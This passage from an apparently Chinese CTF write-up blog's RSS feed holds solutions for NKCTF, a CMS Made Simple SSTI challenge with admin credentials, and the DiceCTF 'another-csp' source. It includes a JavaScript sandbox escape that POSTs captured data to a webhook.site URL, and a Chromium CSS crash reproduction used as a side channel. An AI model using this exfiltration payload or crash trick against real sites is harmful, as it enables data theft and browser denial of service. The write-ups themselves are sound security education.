 h.send(&amp;#39;hello&amp;#39;);
 const p = (cc.constructor.constructor(&amp;#39;return fetch&amp;#39;))();
 return p(&amp;#34;https://webhook.site/1dc4e877-3eb8-4642-a3ef-17fc03f43ffa&amp;#34;, {method: &amp;#34;POST&amp;#34;, body: JSON.stringify({data: `${h}`})});
 }
})

{
 &amp;#34;data&amp;#34;: &amp;#34;NKCTF{5e1d772e-8260-444d-ab4b-21c7b7603521}\n&amp;#34;
}
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="img"&gt;&lt;img src="/1.png" alt="img"&gt;&lt;/h3&gt;
&lt;h2 id="my-first-cms"&gt;&lt;strong&gt;my first cms&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;这是什么cms？直接安装最新版的应该没有问题了吧……&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/capture0x/CMSMadeSimple2"&gt;GitHub - capture0x/CMSMadeSimple2: CMS Made Simple Version: 2.2.19 - SSTI&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;admin Admin123&lt;/p&gt;</description></item><item><title>N1CTF Junoir</title><link>/posts/n1ctf-junoir/</link><pubDate>Wed, 07 Feb 2024 02:47:11 +0800</pubDate><guid>/posts/n1ctf-junoir/</guid><description>&lt;h1 id="n1ctf-junior"&gt;N1CTF Junior&lt;/h1&gt;
&lt;h2 id="zako"&gt;zako&lt;/h2&gt;</description></item><item><title>DiceCTF</title><link>/posts/dicectf/</link><pubDate>Tue, 06 Feb 2024 14:06:46 +0800</pubDate><guid>/posts/dicectf/</guid><description>&lt;h2 id="another-csp"&gt;another-csp&lt;/h2&gt;
&lt;h3 id="indexjs"&gt;index.js&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;createServer&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;http&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;readFileSync&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;fs&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;spawn&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;child_process&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; { &lt;span style="color:#a6e22e"&gt;randomInt&lt;/span&gt; } &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;crypto&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sleep&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt; =&amp;gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Promise(&lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;setTimeout&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;wait&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;child&lt;/span&gt; =&amp;gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Promise(&lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;child&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;on&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;exit&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;resolve&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;index&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;readFileSync&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;index.html&amp;#39;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;token&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;randomInt&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;**&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;24&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;toString&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;16&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;padStart&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browserOpen&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;visit&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt; =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;browserOpen&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;proc&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;spawn&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;node&amp;#39;&lt;/span&gt;, [&lt;span style="color:#e6db74"&gt;&amp;#39;visit.js&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;], { &lt;span style="color:#a6e22e"&gt;detached&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; Promise.&lt;span style="color:#a6e22e"&gt;race&lt;/span&gt;([
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#a6e22e"&gt;wait&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;proc&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#a6e22e"&gt;sleep&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;10000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	]);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;proc&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;exitCode&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;kill&lt;/span&gt;(&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;proc&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pid&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;browserOpen&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;createServer&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;URL&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;req&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#39;http://localhost/&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pathname&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;index&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	} &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pathname&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/bot&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;browserOpen&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;already open!&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;searchParams&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;code&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;code&lt;/span&gt; &lt;span style="color:#f92672"&gt;||&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;length&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;no&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#a6e22e"&gt;visit&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;visiting&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	} &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;pathname&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;/flag&amp;#39;&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;searchParams&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;token&amp;#39;&lt;/span&gt;) &lt;span style="color:#f92672"&gt;!==&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;wrong&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;sleep&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;exit&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;env&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;FLAG&lt;/span&gt; &lt;span style="color:#f92672"&gt;??&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;dice{flag}&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;res&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;end&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}).&lt;span style="color:#a6e22e"&gt;listen&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;8080&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="visitjs"&gt;visit.js&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;puppeteer&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;puppeteer&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;puppeteer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;launch&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;pipe&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;args&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#e6db74"&gt;&amp;#39;--no-sandbox&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#e6db74"&gt;&amp;#39;--disable-setuid-sandbox&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#e6db74"&gt;&amp;#39;--js-flags=--noexpose_wasm,--jitless&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#e6db74"&gt;&amp;#39;--incognito&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;dumpio&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;headless&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;new&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; [&lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;argv&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;slice&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;try&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;newPage&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;goto&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;http://127.0.0.1:8080&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;evaluate&lt;/span&gt;((&lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#a6e22e"&gt;localStorage&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;setItem&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;token&amp;#39;&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;code&amp;#39;&lt;/span&gt;).&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}, &lt;span style="color:#a6e22e"&gt;token&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;code&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;click&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;#submit&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;waitForFrame&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;frame&lt;/span&gt; =&amp;gt; &lt;span style="color:#a6e22e"&gt;frame&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;name&lt;/span&gt;() &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;sandbox&amp;#39;&lt;/span&gt;, { &lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;close&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;} &lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;error&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;close&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;只等待1s&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;await page.waitForFrame(frame =&amp;gt; frame.name() == &amp;#39;sandbox&amp;#39;, { timeout: 1000 });
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;[CSS：在相对颜色语法中使用 color-mix 制作的颜色会导致选项卡崩溃并显示 SIGILL &lt;a href="https://issues.chromium.org/issues/41490764"&gt;41490764] - Chromium&lt;/a&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt; 
&amp;lt;html lang=&amp;#34;en&amp;#34;&amp;gt; 
&amp;lt;head&amp;gt; 
 &amp;lt;meta charset=&amp;#34;UTF-8&amp;#34;&amp;gt; 
 &amp;lt;meta name=&amp;#34;viewport&amp;#34; content=&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&amp;gt; 
 &amp;lt;title&amp;gt;CSS SIGILL Issue Repro&amp;lt;/title&amp;gt; 
 &amp;lt;style&amp;gt; 
 div { 
 --c1: color-mix(in srgb, blue 50%, red); 
 --c2: srgb(from var(--c1) r g b); 
 background-color: var(--c2); 
 } 
 &amp;lt;/style&amp;gt; 
&amp;lt;/head&amp;gt; 
&amp;lt;body&amp;gt; 
 &amp;lt;div&amp;gt;This should be purple&amp;lt;/div&amp;gt; 
&amp;lt;/body&amp;gt; 
&amp;lt;/html&amp;gt; 
